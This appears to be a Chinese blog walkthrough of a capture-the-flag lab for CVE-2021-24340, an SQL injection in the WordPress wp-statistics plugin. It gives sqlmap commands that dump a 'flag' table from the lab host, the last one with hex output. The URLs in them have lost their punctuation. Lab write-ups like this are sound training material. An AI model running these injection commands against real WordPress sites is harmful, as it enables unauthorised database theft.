春秋云境界CVE-2021-24340（sqlmap）保姆级教学

1.阅读靶场介绍这里我们可以得到的有用信息就是WordPress VeronaLabs wp-statistics插件版本是13.0.8路径是wps_pages_page功能方式是SQL注入漏洞2.启动靶场这里博主提供三种信息收集的方式第一是直接输入靶场编号百度csdn都可以找找看第二是ai输入介绍语句或者是靶场编号找对应的poc第三是直接github找参考也是可以从编号和介绍着手找对应的提示首先这个靶场是ai和github的结合完成攻克的接下里各位博主可以参考一下小弟的拙见各位博主们可以直接按照我的方式去跑sqlmap这里博主首先执行的是这个语句sqlmap.py -u https://eci-2zee5ezg9pcl17t4y0l3.cloudeci1.ichunqiu.com:80/wp-admin/admin.php?ID1pagewps_pages_pagetype1 --batch -D ctf --dump结果是我们能成功跑出来时间盲注的方法接下来我们可以跑这个语句sqlmap.py -u https://eci-2zee5ezg9pcl17t4y0l3.cloudeci1.ichunqiu.com:80/wp-admin/admin.php?ID1pagewps_pages_pagetype1 --batch -D ctf -T flag --dump这里博主省略了爆库和爆表的过程直接就是--dump输出ctf这个库flag这个表的结果但是结果并不尽人意这里好像是通过某种方式进行加密了我们接下来跑这个语句sqlmap.py -u https://eci-2zee5ezg9pcl17t4y0l3.cloudeci1.ichunqiu.com:80/wp-admin/admin.php?ID1pagewps_pages_pagetype1 --batch -D ctf -T flag --dump --hex这里博主简单说一下就是变成十六进制然后看看能不能还原flag的操作结果是到此我们又攻克一个靶场了期待博主攻克什么靶场的话欢迎留言期待你的点赞感谢你们宝贵的时间